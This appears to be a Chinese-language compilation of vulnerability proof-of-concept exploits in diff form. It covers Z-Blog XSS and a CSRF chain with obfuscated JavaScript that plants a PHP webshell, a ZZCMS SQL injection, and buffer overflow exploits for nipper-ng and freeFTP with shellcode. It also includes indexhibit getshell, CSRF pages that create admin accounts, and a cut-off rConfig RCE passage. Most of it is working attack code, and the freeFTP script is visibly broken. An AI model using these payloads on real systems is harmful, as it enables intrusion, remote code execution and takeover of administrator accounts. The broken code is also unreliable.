``` raw
|
||||
post_url:http://localhost/z-blog/zb_system/cmd.php?act=SettingSav&token=2c7ca9a4c1c3d856e012595ca878564f
|
||||
|
||||
post_data:
|
||||
|
||||
ZC_BLOG_HOST=http%3A%2F%2Flocalhost%2Fz-blog%2F&ZC_PERMANENT_DOMAIN_ENABLE=&ZC_PERMANENT_DOMAIN_WITH_ADMIN=&ZC_BLOG_NAME=admin&ZC_BLOG_SUBNAME=Good%20Luck%20To%20You!tluf3%22%3e%3cscript%3ealert(1)%3c%2fscript%3euk095&ZC_BLOG_COPYRIGHT=Copyright+Your+WebSite.Some+Rights+Reserved.&ZC_TIME_ZONE_NAME=Asia%2FShanghai&ZC_BLOG_LANGUAGEPACK=zh-cn&ZC_UPLOAD_FILETYPE=jpg%7Cgif%7Cpng%7Cjpeg%7Cbmp%7Cpsd%7Cwmf%7Cico%7Crpm%7Cdeb%7Ctar%7Cgz%7Csit%7C7z%7Cbz2%7Czip%7Crar%7Cxml%7Cxsl%7Csvg%7Csvgz%7Crtf%7Cdoc%7Cdocx%7Cppt%7Cpptx%7Cxls%7Cxlsx%7Cwps%7Cchm%7Ctxt%7Cpdf%7Cmp3%7Cmp4%7Cavi%7Cmpg%7Crm%7Cra%7Crmvb%7Cmov%7Cwmv%7Cwma%7Cswf%7Cfla%7Ctorrent%7Capk%7Czba%7Cgzba&ZC_UPLOAD_FILESIZE=2&ZC_DEBUG_MODE=&ZC_GZIP_ENABLE=&ZC_SYNTAXHIGHLIGHTER_ENABLE=1&ZC_CLOSE_SITE=&ZC_DISPLAY_COUNT=10&ZC_DISPLAY_SUBCATEGORYS=1&ZC_PAGEBAR_COUNT=10&ZC_SEARCH_COUNT=20&ZC_MANAGE_COUNT=50&ZC_COMMENT_TURNOFF=&ZC_COMMENT_AUDIT=&ZC_COMMENT_REVERSE_ORDER=&ZC_COMMENTS_DISPLAY_COUNT=100&ZC_COMMENT_VERIFY_ENABLE=
|
||||
|
||||
```
|
||||
> ZC_UPLOAD_FILETYPE参数poc代码:
|
||||
|
||||
```raw
|
||||
post_data:
|
||||
|
||||
ZC_BLOG_HOST=http://localhost/z-blog/&ZC_PERMANENT_DOMAIN_ENABLE=&ZC_PERMANENT_DOMAIN_WITH_ADMIN=&ZC_BLOG_NAME=admin&ZC_BLOG_SUBNAME=Good+Luck+To+You!&ZC_BLOG_COPYRIGHT=Copyright+Your+WebSite.Some+Rights+Reserved.&ZC_TIME_ZONE_NAME=Asia/Shanghai&ZC_BLOG_LANGUAGEPACK=zh-cn&ZC_UPLOAD_FILETYPE=jpg|gif|png|jpeg|bmp|psd|wmf|ico|rpm|deb|tar|gz|sit|7z|bz2|zip|rar|xml|xsl|svg|svgz|rtf|doc|docx|ppt|pptx|xls|xlsx|wps|chm|txt|pdf|mp3|mp4|avi|mpg|rm|ra|rmvb|mov|wmv|wma|swf|fla|torrent|apk|zba|gzbauckek"><script>alert(1)</script>ekkgh&ZC_UPLOAD_FILESIZE=2&ZC_DEBUG_MODE=&ZC_GZIP_ENABLE=&ZC_SYNTAXHIGHLIGHTER_ENABLE=1&ZC_CLOSE_SITE=&ZC_DISPLAY_COUNT=10&ZC_DISPLAY_SUBCATEGORYS=1&ZC_PAGEBAR_COUNT=10&ZC_SEARCH_COUNT=20&ZC_MANAGE_COUNT=50&ZC_COMMENT_TURNOFF=&ZC_COMMENT_AUDIT=&ZC_COMMENT_REVERSE_ORDER=&ZC_COMMENTS_DISPLAY_COUNT=100&ZC_COMMENT_VERIFY_ENABLE=
|
||||
```
|
||||
@@ -0,0 +1,30 @@
|
||||
## ZZCMS201910 SQL Injections SQL注入
|
||||
|
||||
> 前提是你有一个具有购买权限的VIP会员账户
|
||||
> 不然会提示:`"您所在的用户组没有下载此信息的权限!<br><input type=button value=升级成VIP会员 onclick=\"location.href='/one/vipuser.php'\"/>"`
|
||||
|
||||
### 注入点 ` user/dls_download with parameter $id`
|
||||
|
||||
### 利用POC如下
|
||||
|
||||
```raw
|
||||
POST /user/dls_download.php HTTP/1.1
|
||||
Host: test.com
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 45
|
||||
Origin: http://test.com
|
||||
Connection: close
|
||||
Referer: http://test.com/user/advzt_manage.php
|
||||
Cookie: Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1576564072; Hm_lvt_520556228c0113270c0c772027905838=1576734687,1577071433; app_href_source=myapp/free; PHPSESSID=f0fb73cc2f2d41d2a3b1edb7340841a3; arrlanguage=metinfo; Hm_lpvt_520556228c0113270c0c772027905838=1577672843; acc_auth=4b90lwFZZGUdz47dUybObYz1MoB612Tg7bCn10U0P4BKoY%2FR9nnvQapvPIBF%2BB4w11KPOWCNH%2FLvwx9rH7424ZH0; acc_key=eXM7G4F; __tins__713776=%7B%22sid%22%3A%201577775703119%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201577777503119%7D; __51cke__=; __51laig__=28; bdshare_firstime=1577771760963; UserName=test; PassWord=4297f44b13955235245b2497399d7a93
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Pragma: no-cache
|
||||
Cache-Control: no-cache
|
||||
|
||||
id[]=1&id[]=2)%0aor%0asleep(5)%23&FileExt=xxx
|
||||
```
|
||||
|
||||
来源与:https://github.com/JcQSteven/blog/issues/15
|
||||
@@ -0,0 +1,132 @@
|
||||
## Zblog默认Theme_csrf+储存xss+getshell
|
||||
|
||||
原因:
|
||||
1、后台安装模版没做 csrfToken 验证。可以 csrf 安装指定 Theme
|
||||
2、zblogPHP 存在一个默认 Theme 名为 metro,存在储存 xss。并且没有验证 csrfToken
|
||||
3、论坛也有人写这个 getshell 的洞,通过储存 xss 直接 getshell。
|
||||
|
||||
测试的时候有点久了,然后在官网下载的最新版 https://www.zblogcn.com/zblogphp/ 不存在这个默认 theme
|
||||
然后看了下 Github 上存在这个 Theme。
|
||||
|
||||
具体细节我忘记了。不做细节描述
|
||||
zblog.html
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>zblog test</title>
|
||||
</head>
|
||||
<body>
|
||||
<iframe src="http://zblog.test/zb_system/admin/index.php?act=ThemeMng&install=metro"></iframe> <!-- 安装制定主题 -->
|
||||
<form action="http://zblog.test/zb_users/theme/metro/save.php" method="POST"> <!-- 触发储存xss-->
|
||||
<input type="hidden" name="layout" value="r" />
|
||||
<input type="hidden" name="hdbg5" value='120"><script>eval(atob("ZnVuY3Rpb24gZ2V0TWV0YShtZXRhTmFtZSl7Y29uc3QgbWV0YXM9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ21ldGEnKTtmb3IobGV0IGk9MDtpPG1ldGFzLmxlbmd0aDtpKyspe2lmKG1ldGFzW2ldLmdldEF0dHJpYnV0ZSgnbmFtZScpPT09bWV0YU5hbWUpe3JldHVybiBtZXRhc1tpXS5nZXRBdHRyaWJ1dGUoJ2NvbnRlbnQnKX19cmV0dXJuJyd9dmFyIGNzcmZUb2tlbj1nZXRNZXRhKCdjc3JmVG9rZW4nKTt2YXIgcGthdj17YWpheDpmdW5jdGlvbigpe3ZhciB4bWxIdHRwO3RyeXt4bWxIdHRwPW5ldyBYTUxIdHRwUmVxdWVzdCgpfWNhdGNoKGUpe3RyeXt4bWxIdHRwPW5ldyBBY3RpdmVYT2JqZWN0KCJNc3htbDIuWE1MSFRUUCIpfWNhdGNoKGUpe3RyeXt4bWxIdHRwPW5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpfWNhdGNoKGUpe3JldHVybiBmYWxzZX19fXJldHVybiB4bWxIdHRwfSxyZXE6ZnVuY3Rpb24odXJsLGRhdGEsbWV0aG9kLGNhbGxiYWNrKXttZXRob2Q9KG1ldGhvZHx8IiIpLnRvVXBwZXJDYXNlKCk7bWV0aG9kPW1ldGhvZHx8IkdFVCI7ZGF0YT1kYXRhfHwiIjtpZih1cmwpe3ZhciBhPXRoaXMuYWpheCgpO2Eub3BlbihtZXRob2QsdXJsLHRydWUpO2lmKG1ldGhvZD09IlBPU1QiKXthLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtdHlwZSIsImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpfWEub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7aWYoYS5yZWFkeVN0YXRlPT00JiZhLnN0YXR1cz09MjAwKXtpZihjYWxsYmFjayl7Y2FsbGJhY2soYS5yZXNwb25zZVRleHQpfX19O2lmKCh0eXBlb2YgZGF0YSk9PSJvYmplY3QiKXt2YXIgYXJyPVtdO2Zvcih2YXIgaSBpbiBkYXRhKXthcnIucHVzaChpKyI9IitlbmNvZGVVUklDb21wb25lbnQoZGF0YVtpXSkpfWEuc2VuZChhcnIuam9pbigiJiIpKX1lbHNle2Euc2VuZChkYXRhfHxudWxsKX19fSxnZXQ6ZnVuY3Rpb24odXJsLGNhbGxiYWNrKXt0aGlzLnJlcSh1cmwsIiIsIkdFVCIsY2FsbGJhY2spfSxwb3N0OmZ1bmN0aW9uKHVybCxkYXRhLGNhbGxiYWNrKXt0aGlzLnJlcSh1cmwsZGF0YSwiUE9TVCIsY2FsbGJhY2spfX07cGthdi5wb3N0KCJodHRwOi8vemJsb2cudGVzdC96Yl9zeXN0ZW0vY21kLnBocD9hY3Q9TW9kdWxlUHN0JmNzcmZUb2tlbj0iK2NzcmZUb2tlbiwiSUQ9MTUmU291cmNlPXRoZW1lJk5hbWU9dGhlbWUmSXNIaWRlVGl0bGU9JkZpbGVOYW1lPXNoZWxsJkh0bWxJRD0xMSZUeXBlPWRpdiZNYXhMaT0wJkNvbnRlbnQ9JTNDJTNGcGhwK2V2YWwoJF9QT1NUWzFdKTslM0IlM0YlM0UmTm9SZWZyZXNoPSIsZnVuY3Rpb24ocnMpe30pO3dpbmRvdy5fX3g9MTt2YXIgaWZyPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lmcmFtZScpO2lmci5zcmM9Imh0dHA6Ly96YmxvZy50ZXN0L3piX3VzZXJzL3RoZW1lL21ldHJvL2VkaXRvci5waHAiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoaWZyKQ=="))</script><ba%20"' />
|
||||
<input type="hidden" name="hdbg1" value="http://zblog.test/zb_users/theme/metro/style/images/headbg.jpg" />
|
||||
<input type="hidden" name="hdbg2[]" value="repeat" />
|
||||
<input type="hidden" name="hdbg2[]" value="fixed" />
|
||||
<input type="hidden" name="hdbg3" value="1" />
|
||||
<input type="hidden" name="hdbg4" value="top" />
|
||||
<input type="hidden" name="bodybg0" value="#EEEEEE" />
|
||||
<input type="hidden" name="bodybg1" value="http://zblog.test/zb_users/theme/metro/style/images/bg.jpg" />
|
||||
<input type="hidden" name="bodybg2[]" value="repeat" />
|
||||
<input type="hidden" name="bodybg3" value="2" />
|
||||
<input type="hidden" name="bodybg4" value="top" />
|
||||
<input type="hidden" name="color[]" value="#5EAAE4" />
|
||||
<input type="hidden" name="color[]" value=" #A3D0F2" />
|
||||
<input type="hidden" name="color[]" value=" #222222" />
|
||||
<input type="hidden" name="color[]" value=" #333333" />
|
||||
<input type="hidden" name="color[]" value=" #FFFFFF" />
|
||||
<input type="hidden" name="ok" value="�¿�˜�…�½®" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<div></div>
|
||||
|
||||
<script type="text/javascript">
|
||||
function ok(){
|
||||
var a = document.getElementById('test_form').submit();
|
||||
console.log (a);
|
||||
}
|
||||
</script>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
zblog.js //getshell
|
||||
|
||||
```javascript
|
||||
function getMeta(metaName) {
|
||||
const metas = document.getElementsByTagName('meta');
|
||||
for (let i = 0; i < metas.length; i++) {
|
||||
if (metas[i].getAttribute('name') === metaName) {
|
||||
return metas[i].getAttribute('content');
|
||||
}
|
||||
}
|
||||
return '';
|
||||
}
|
||||
var csrfToken = getMeta('csrfToken');
|
||||
|
||||
var pkav={
|
||||
ajax:function(){
|
||||
var xmlHttp;
|
||||
try{
|
||||
xmlHttp=new XMLHttpRequest();
|
||||
}catch (e){
|
||||
try{
|
||||
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
|
||||
}catch (e){
|
||||
try{
|
||||
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
|
||||
}
|
||||
catch (e){
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
return xmlHttp;
|
||||
},
|
||||
req:function(url,data,method,callback){
|
||||
method=(method||"").toUpperCase();
|
||||
method=method||"GET";
|
||||
data=data||"";
|
||||
if(url){
|
||||
var a=this.ajax();
|
||||
a.open(method,url,true);
|
||||
if(method=="POST"){
|
||||
a.setRequestHeader("Content-type","application/x-www-form-urlencoded");
|
||||
}
|
||||
a.onreadystatechange=function(){
|
||||
if (a.readyState==4 && a.status==200)
|
||||
{
|
||||
if(callback){
|
||||
callback(a.responseText);
|
||||
}
|
||||
}
|
||||
};
|
||||
if((typeof data)=="object"){
|
||||
var arr=[];
|
||||
for(var i in data){
|
||||
arr.push(i+"="+encodeURIComponent(data[i]));
|
||||
}
|
||||
a.send(arr.join("&"));
|
||||
}else{
|
||||
a.send(data||null);
|
||||
}
|
||||
}
|
||||
},
|
||||
get:function(url,callback){
|
||||
this.req(url,"","GET",callback);
|
||||
},
|
||||
post:function(url,data,callback){
|
||||
this.req(url,data,"POST",callback);
|
||||
}
|
||||
};
|
||||
|
||||
pkav.post("http://zblog.test/zb_system/cmd.php?act=ModulePst&csrfToken="+csrfToken,"ID=15&Source=theme&Name=theme&IsHideTitle=&FileName=shell&HtmlID=11&Type=div&MaxLi=0&Content=%3C%3Fphp+eval($_POST[1]);%3B%3F%3E&NoRefresh=",function(rs){});
|
||||
```
|
||||
|
||||
备注:新版默认已经没有这个xss主题了,已经修复了!
|
||||
|
||||
⚠️原文来自吐司,欢迎大家踊跃投稿吐司!https://www.t00ls.net/articles-57673.html
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
## CVE-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC
|
||||
|
||||
## 简介
|
||||
|
||||
> Nipper是一个网络基础结构配置解析器,也是设备(防火墙,路由器以及网络基础设施)安全配置检查工具所以也是一种黑客工具,可也检查目标设备是否有脆弱性配置,它能检查并给出建议。
|
||||
|
||||
## POC
|
||||
|
||||
```
|
||||
# Exploit Title: nipper-ng 0.11.10 - Remote Buffer Overflow (PoC)
|
||||
# Date: 2019-10-20
|
||||
# Exploit Author: Guy Levin
|
||||
# https://blog.vastart.dev
|
||||
# Vendor Homepage: https://tools.kali.org/reporting-tools/nipper-ng
|
||||
# Software Link: https://code.google.com/archive/p/nipper-ng/source/default/source
|
||||
# Version: 0.11.10
|
||||
# Tested on: Debian
|
||||
# CVE : CVE-2019-17424
|
||||
|
||||
"""
|
||||
Exploit generator created by Guy Levin (@va_start - twitter.com/va_start)
|
||||
Vulnerability found by Guy Levin (@va_start - twitter.com/va_start)
|
||||
|
||||
For a detailed writeup of CVE-2019-17424 and the exploit building process, read my blog post
|
||||
https://blog.vastart.dev/2019/10/stack-overflow-cve-2019-17424.html
|
||||
|
||||
may need to run nipper-ng with enviroment variable LD_BIND_NOW=1 on ceratin systems
|
||||
"""
|
||||
|
||||
import sys
|
||||
import struct
|
||||
|
||||
def pack_dword(i):
|
||||
return struct.pack("<I", i)
|
||||
|
||||
def prepare_shell_command(shell_command):
|
||||
return shell_command.replace(" ", "${IFS}")
|
||||
|
||||
def build_exploit(shell_command):
|
||||
EXPLOIT_SKELETON = r"privilage exec level 1 " \
|
||||
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " \
|
||||
"aasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaab " \
|
||||
"kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaacca " \
|
||||
"acdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaac " \
|
||||
"uaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadma " \
|
||||
"adnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaae " \
|
||||
"faaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewa " \
|
||||
"aexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaaf " \
|
||||
"paafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaagha " \
|
||||
"agiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag " \
|
||||
"zaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahra " \
|
||||
"ahaaaataahuaahvaahwaahpaaaaaaazaaibaaicaaidaaieaaifaaigaaihaaiiaaijaai " \
|
||||
"kaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajca " \
|
||||
"ajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaaj"
|
||||
|
||||
WRITEABLE_BUFFER = 0x080FA001
|
||||
CALL_TO_SYSTEM = 0x0804E870
|
||||
COMMAND_BUFFER = 0x080FA015
|
||||
|
||||
OFFSET_FOR_WRITEABLE_BUFFER = 0x326
|
||||
OFFSET_FOR_RETURN = 0x33a
|
||||
OFFSET_FOR_COMMAND_BUFFER = 0x33e
|
||||
|
||||
OFFSET_FOR_SHELL_COMMAND = 0x2a
|
||||
MAX_SHELL_COMMAND_CHARS = 48
|
||||
|
||||
target_values_at_offsets = {
|
||||
WRITEABLE_BUFFER : OFFSET_FOR_WRITEABLE_BUFFER,
|
||||
CALL_TO_SYSTEM : OFFSET_FOR_RETURN,
|
||||
COMMAND_BUFFER : OFFSET_FOR_COMMAND_BUFFER
|
||||
}
|
||||
|
||||
exploit = bytearray(EXPLOIT_SKELETON, "ascii")
|
||||
|
||||
# copy pointers
|
||||
for target_value, target_offset in target_values_at_offsets.items():
|
||||
target_value = pack_dword(target_value)
|
||||
exploit[target_offset:target_offset+len(target_value)] = target_value
|
||||
|
||||
# copy payload
|
||||
if len(shell_command) > MAX_SHELL_COMMAND_CHARS:
|
||||
raise ValueError("shell command is too big")
|
||||
shell_command = prepare_shell_command(shell_command)
|
||||
if len(shell_command) > MAX_SHELL_COMMAND_CHARS:
|
||||
raise ValueError("shell command is too big after replacing spaces")
|
||||
|
||||
# adding padding to end of shell command
|
||||
for i, letter in enumerate(shell_command + "&&"):
|
||||
exploit[OFFSET_FOR_SHELL_COMMAND+i] = ord(letter)
|
||||
|
||||
return exploit
|
||||
|
||||
def main():
|
||||
if len(sys.argv) != 3:
|
||||
print(f"usage: {sys.argv[0]} <shell command to execute> <output file>")
|
||||
return 1
|
||||
|
||||
try:
|
||||
payload = build_exploit(sys.argv[1])
|
||||
except Exception as e:
|
||||
print(f"error building exploit: {e}")
|
||||
return 1
|
||||
|
||||
open(sys.argv[2], "wb").write(payload)
|
||||
|
||||
return 0 # success
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
||||
```
|
||||
|
||||
@@ -0,0 +1,69 @@
|
||||
## freeFTP1.0.8-'PASS'远程缓冲区溢出
|
||||
|
||||
## POC
|
||||
|
||||
```python
|
||||
# Exploit Title: freeFTP 1.0.8 - Remote Buffer Overflow
|
||||
# Date: 2019-09-01
|
||||
# Author: Chet Manly
|
||||
# Software Link: https://download.cnet.com/FreeFTP/3000-2160_4-10047242.html
|
||||
# Version: 1.0.8
|
||||
# CVE: N/A
|
||||
|
||||
from ftplib import FTP
|
||||
|
||||
buf = ""
|
||||
buf += "\x89\xe1\xdb\xdf\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49"
|
||||
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
|
||||
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
|
||||
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
|
||||
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x48\x68\x6d"
|
||||
buf += "\x52\x57\x70\x75\x50\x63\x30\x51\x70\x6c\x49\x38\x65"
|
||||
buf += "\x64\x71\x79\x50\x31\x74\x6e\x6b\x52\x70\x44\x70\x4e"
|
||||
buf += "\x6b\x66\x32\x44\x4c\x6c\x4b\x30\x52\x57\x64\x4c\x4b"
|
||||
buf += "\x43\x42\x64\x68\x36\x6f\x58\x37\x32\x6a\x55\x76\x36"
|
||||
buf += "\x51\x79\x6f\x6c\x6c\x77\x4c\x61\x71\x43\x4c\x63\x32"
|
||||
buf += "\x56\x4c\x47\x50\x6b\x71\x5a\x6f\x34\x4d\x45\x51\x6f"
|
||||
buf += "\x37\x68\x62\x6a\x52\x76\x32\x70\x57\x4c\x4b\x73\x62"
|
||||
buf += "\x44\x50\x4c\x4b\x72\x6a\x77\x4c\x6c\x4b\x72\x6c\x57"
|
||||
buf += "\x61\x52\x58\x49\x73\x47\x38\x33\x31\x68\x51\x66\x31"
|
||||
buf += "\x6c\x4b\x31\x49\x55\x70\x47\x71\x69\x43\x6c\x4b\x72"
|
||||
buf += "\x69\x32\x38\x39\x73\x64\x7a\x63\x79\x4c\x4b\x37\x44"
|
||||
buf += "\x6c\x4b\x66\x61\x4a\x76\x35\x61\x39\x6f\x6c\x6c\x6f"
|
||||
buf += "\x31\x68\x4f\x54\x4d\x33\x31\x78\x47\x35\x68\x49\x70"
|
||||
buf += "\x30\x75\x49\x66\x45\x53\x51\x6d\x49\x68\x37\x4b\x73"
|
||||
buf += "\x4d\x61\x34\x71\x65\x6d\x34\x36\x38\x4c\x4b\x32\x78"
|
||||
buf += "\x65\x74\x66\x61\x6a\x73\x65\x36\x4c\x4b\x74\x4c\x30"
|
||||
buf += "\x4b\x4c\x4b\x51\x48\x57\x6c\x75\x51\x6a\x73\x6c\x4b"
|
||||
buf += "\x53\x34\x6e\x6b\x43\x31\x4a\x70\x4d\x59\x53\x74\x66"
|
||||
buf += "\x44\x55\x74\x53\x6b\x31\x4b\x63\x51\x36\x39\x62\x7a"
|
||||
buf += "\x62\x71\x69\x6f\x6d\x30\x71\x4f\x51\x4f\x71\x4a\x4e"
|
||||
buf += "\x6b\x62\x32\x6a\x4b\x6e\x6d\x53\x6d\x70\x6a\x47\x71"
|
||||
buf += "\x4c\x4d\x4e\x65\x4c\x72\x53\x30\x65\x50\x47\x70\x66"
|
||||
buf += "\x30\x30\x68\x65\x61\x4c\x4b\x32\x4f\x4c\x47\x6b\x4f"
|
||||
buf += "\x69\x45\x4d\x6b\x6c\x30\x48\x35\x4e\x42\x71\x46\x52"
|
||||
buf += "\x48\x59\x36\x4a\x35\x4d\x6d\x6d\x4d\x79\x6f\x38\x55"
|
||||
buf += "\x47\x4c\x33\x36\x53\x4c\x56\x6a\x6f\x70\x49\x6b\x6b"
|
||||
buf += "\x50\x73\x45\x37\x75\x6d\x6b\x31\x57\x46\x73\x63\x42"
|
||||
buf += "\x72\x4f\x43\x5a\x45\x50\x56\x33\x4b\x4f\x48\x55\x55"
|
||||
buf += "\x33\x35\x31\x32\x4c\x53\x53\x66\x4e\x55\x35\x72\x58"
|
||||
buf += "\x45\x35\x53\x30\x41\x41"
|
||||
|
||||
buf = 'A' * 276
|
||||
buf += '\x90' * 10
|
||||
buf += shellcode
|
||||
buf += 'B' * (486 - len(shellcode))
|
||||
buf += '\x58' # pop eax
|
||||
buf += '\xfe\xcc' # dec ah
|
||||
buf += '\xfe\xcc' # dec ah
|
||||
buf += '\xff\xe0' # jmp eax
|
||||
buf += 'C' * 4
|
||||
buf += '\xe8\xf0\xff\xff\xff' # call near
|
||||
buf += 'D' * 9
|
||||
buf += '\xeb\xf0\x90\x90' # jump backwards
|
||||
buf += '\xc0\x3d\x42\x00' # 0x00423dc0 - pop, pop, ret
|
||||
buf += 'E' * (1000 - len(buf))
|
||||
ftp = FTP()
|
||||
ftp.connect('192.168.1.1', 21)
|
||||
ftp.login('anonymous', buf)
|
||||
```
|
||||
@@ -0,0 +1,24 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|indexhibit cms v2.1.5 直接编辑php文件getshell|2019-02-20|yc(3365487579@qq.com)|[https://www.indexhibit.org/](https://www.indexhibit.org/) | [https://www.indexhibit.org/](https://www.indexhibit.org/) |v2.1.5| [CVE-2019-8954](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8954)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> indexhibit CMS 2.1.5版本存在一个直接编辑php文件的漏洞,导致getshell。
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> 当我们登录进后台后,向/ndxzstudio/?a=system
|
||||
> post数据:
|
||||
|
||||
``` raw
|
||||
upd_jxcode=true&v=%253C%253Fphp%2520phpinfo()%253B%253F%253E&id=%2Fcss%2Faudio.php
|
||||
```
|
||||
> 即可在/css/目录写入一个php文件audio.php。
|
||||

|
||||
|
||||
> 成功getshell:
|
||||

|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|joyplus-cms 1.6.0存在CSRF漏洞可增加管理员账户|2018-03-14|yx(yx@5ecurity.cn)|[https://github.com/joyplus/joyplus-cms/](https://github.com/joyplus/joyplus-cms/) | [https://github.com/joyplus/joyplus-cms/](https://github.com/joyplus/joyplus-cms/) |1.6.0 | [CVE-2018-8717](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8717)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> joyplus-cms 1.6.0存在CSRF漏洞,当管理员登陆后访问下面CSRF测试页面可将普通用户提成为管理员权限。joyplus-cms是一个在github上开源的CMS系统,漏洞发现者已经将漏洞信息通过[issues](https://github.com/joyplus/joyplus-cms/issues/419)告知作者。
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> CSRF测试页面代码如下:
|
||||
``` html
|
||||
<html>
|
||||
<body>
|
||||
<script>history.pushState('', '', '/')</script>
|
||||
<form action="http://192.168.126.129/joyplus-cms-master/joyplus-cms/manager/admin_ajax.php?action=save&tab={pre}manager" method="POST">
|
||||
<input type="hidden" name="m_id" value="" />
|
||||
<input type="hidden" name="flag" value="add" />
|
||||
<input type="hidden" name="m_name" value="admin1" />
|
||||
<input type="hidden" name="m_password" value="admin1" />
|
||||
<input type="hidden" name="m_status" value="1" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
@@ -0,0 +1,29 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|maccms_v10存在CSRF漏洞可增加任意账号|2018-06-11|Bay0net|[http://www.maccms.com/](http://www.maccms.com/) | [http://www.maccms.com/down.html](http://www.maccms.com/down.html) |v10| [CVE-2018-12114](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12114)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> 恶意攻击者可以精心伪造一个Html页面添加管理员账户对网站进行入侵。
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> exp代码如下:
|
||||
|
||||
``` html
|
||||
<html>
|
||||
<body>
|
||||
<script>history.pushState('', '', '/')</script>
|
||||
<form action="http://10.211.55.17/maccms10/admin.php/admin/admin/info.html" method="POST">
|
||||
<input type="hidden" name="admin_id" value="" />
|
||||
<input type="hidden" name="admin_name" value="test2" />
|
||||
<input type="hidden" name="admin_pwd" value="test2" />
|
||||
<input type="hidden" name="admin_status" value="1" />
|
||||
<input type="hidden" name="admin_auth[0]" value="index/welcome" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
@@ -0,0 +1,167 @@
|
||||
## rConfig v3.9.2 RCE漏洞
|
||||
|
||||
## 0x00 前言
|
||||
|
||||
rConfig是一个开源网络设备配置管理解决方案,可以方便网络工程师快速、频繁管理网络设备快照。
|
||||
|
||||
我在rConfig的两个文件中找到了两个远程命令执行(RCE)漏洞,第一个文件为`ajaxServerSettingsChk.php`,攻击者可以通过`rootUname`参数发送精心构造的一个GET请求,触发未授权RCE漏洞。`rootUname`参数在源文件第2行中定义,随后会在第13行传递给`exec`函数。攻击者可以将恶意系统命令插入该参数中,在目标服务器上执行。该漏洞利用和发现过程比较简单,下文中我将介绍如何发现并利用该漏洞。
|
||||
|
||||
